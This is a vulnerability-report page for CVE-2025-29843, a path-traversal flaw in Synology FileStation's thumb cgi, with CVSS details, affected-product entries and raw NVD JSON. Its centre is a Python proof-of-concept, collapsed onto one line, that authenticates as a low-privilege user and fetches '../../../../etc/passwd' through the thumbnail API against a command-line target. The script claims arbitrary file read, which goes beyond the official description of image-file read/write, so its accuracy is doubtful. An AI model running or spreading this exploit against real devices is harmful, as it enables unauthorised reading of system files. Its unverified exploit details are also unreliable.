Security Vulnerability Report
中文
CVE-2025-29843 CVSS 5.4 MEDIUM

CVE-2025-29843

Published: 2025-12-04 15:15:56
Last Modified: 2025-12-05 21:43:35

Description

A vulnerability in FileStation thumb cgi allows remote authenticated users to read/write image files.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:synology:router_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update10:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:synology:router_manager:1.3.1-9346:update11:*:*:*:*:*:* - VULNERABLE
Synology FileStation (具体版本需查看Synology_SA_25_04公告)
Synology DSM受影响的多个版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-29843 PoC - FileStation thumb.cgi Path Traversal # Target: Synology NAS with FileStation vulnerable version TARGET = "http://target-nas:5000" USERNAME = "low_privilege_user" PASSWORD = "password" def exploit(target, username, password): # Step 1: Authenticate and get session cookie session = requests.Session() login_data = {"username": username, "password": password} resp = session.post(f"{target}/webapi/auth.cgi?api=SYNO.API.Auth", data=login_data) if resp.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Exploit path traversal in thumb.cgi to read arbitrary file # Target: Read /etc/passwd through thumb.cgi exploit_url = f"{target}/webapi/entry.cgi?api=SYNO.FileStation.Thumb" params = { "path": "../../../../etc/passwd", "method": "get", "version": "2" } try: response = session.get(exploit_url, params=params, timeout=10) if response.status_code == 200: print("[+] Path traversal successful - File content retrieved") print(response.text[:500]) else: print(f"[-] Exploit failed with status: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET = sys.argv[1] exploit(TARGET, USERNAME, PASSWORD)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-29843", "sourceIdentifier": "[email protected]", "published": "2025-12-04T15:15:56.287", "lastModified": "2025-12-05T21:43:34.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in FileStation thumb cgi allows remote authenticated users to read/write image files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.3", "versionEndExcluding": "1.3.1-9346", "matchCriteriaId": "F8046DA6-36F6-4155-8594-8E7057396BFB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:-:*:*:*:*:*:*", "matchCriteriaId": "1516A124-FB02-4ADA-BCB6-27F0F1170A11"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update1:*:*:*:*:*:*", "matchCriteriaId": "BD983E13-D56A-4E76-9689-0F1AE99CEC7E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update10:*:*:*:*:*:*", "matchCriteriaId": "8DAD6899-921F-40D5-AACB-613C7332EB72"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update11:*:*:*:*:*:*", "matchCriteriaId": "EEC790E3-A59E-4A9D-A4A1-85284CF9A19D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update12:*:*:*:*:*:*", "matchCriteriaId": "4B566549-0C15-4F15-ADDD-9504B373E9D5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update2:*:*:*:*:*:*", "matchCriteriaId": "7C642E1B-1E10-444E-9243-7A7E8ECBD17D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update3:*:*:*:*:*:*", "matchCriteriaId": "B7544B4B-5BB7-4D58-8943-98DACC17E5F3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update4:*:*:*:*:*:*", "matchCriteriaId": "5A7269FD-9F1D-4CA3-A8F6-3A13C967FBD7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update5:*:*:*:*:*:*", "matchCriteriaId": "52005D46-FFB0-44DF-9583-7EB436F2CDF0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update6:*:*:*:*:*:*", "matchCriteriaId": "E50F7D87-1D71-4AA7-A6C8-B15744521D23"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update7:*:*:*:*:*:*", "matchCriteriaId": "CFE129E2-9243-4DB3-9D2F-9E0F886ECCC6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update8:*:*:*:*:*:*", "matchCriteriaId": "185CD5A8-1115-40AF-91DD-E0065E1ACD7A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:synology:router_manager:1.3.1-9346:update9:*:*:*:*:*:*", "matchCriteriaId": "0162C158-37F0-401F-9027-C067335C0A28"}]}]}], "references": [{"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_25_04", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}